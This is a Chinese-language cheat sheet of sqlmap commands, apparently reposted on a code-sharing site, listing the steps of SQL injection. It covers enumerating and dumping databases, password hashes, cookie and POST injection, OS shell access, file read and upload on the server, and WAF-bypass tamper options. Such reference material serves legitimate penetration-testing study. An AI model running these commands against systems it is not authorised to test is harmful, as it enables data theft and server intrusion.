sqlmap常用操作命令


 一、sqlmap常用基础命令

 sqlmap Common operation command

以下命令顺序即为sql注入常见步骤。

sqlmap -u [“url”] --dbs #获取数据库
sqlmap -u [“url”] --current-user #获取当前用户名称 :
sqlmap -u [“url”] --current-db #获取当前数据库名称
sqlmap -u [“url”] -D [‘数据库名’] --tables   #列出表名 : 
sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns #列出字段 
sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump #获取字段内容

如果是Microsoft Access 可省略前三个步骤 且不需要-D参数

--------------------

cookie 注入 可添加 --cookie=["cookie内容"]

  • --cookie=["cookie的内容"] 设置cookie 值 通常配合获取数据库使用 --data 设置 POST 提交的值 -u 指定目标 URL -b        获取 DBMS banner
    --current-db        获取当前数据库
    --current-user        获取当前数据库的用户
    --tables 获取数据库里所有的表名 --columns 获取表里的所有字段 --dump 获取字段中的内容 --current-user        获取当前用户
    -D [数据库名] 指定数据库名 -T [表名] 指定表名 -C [字段名] 指定字段名 --string       当查询可用时用来匹配页面中的字符串
    --users        枚举所有用户
    --passwords      枚举所有用户的密码hsah
    --dbs      枚举数据库中的数据库名

     

GET型注入一般用 sqlmap -u "url"

POST型注入一般用 sqlmap -u "url" --data "POST参数"

如果需要增加cookie或其他请求头 可将请求保存到文本中假如为request.txt,则用sqlmap -r request.txt

二、sqlmap常用基础命令

--level 5  探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)
--is-dba 判断当前用户是否是管理员权限
--roles 列出数据库管理员角色(仅适用与Oracle数据库)
--referer HTTP Referer头(伪造HTTP头中的Referer,当--level等级大于等于3时会通过伪造Referer来进行注入)
--sql-shell 运行自定义SQL语句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell 运行任意操作系统命令(仅支持MySQL、PostgreSQL、SQL Server)
--file-read 从数据库服务器中读取文件(要知道文件绝对路径)
--file-write "本地文件路径" --file-dest "远程绝对路径" 上传文件到数据库服务器中
--tamper "模块名" bypass绕waf时使用 具体模块可参考书《Web安全攻防 渗透测试实战指南》P40~49页

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM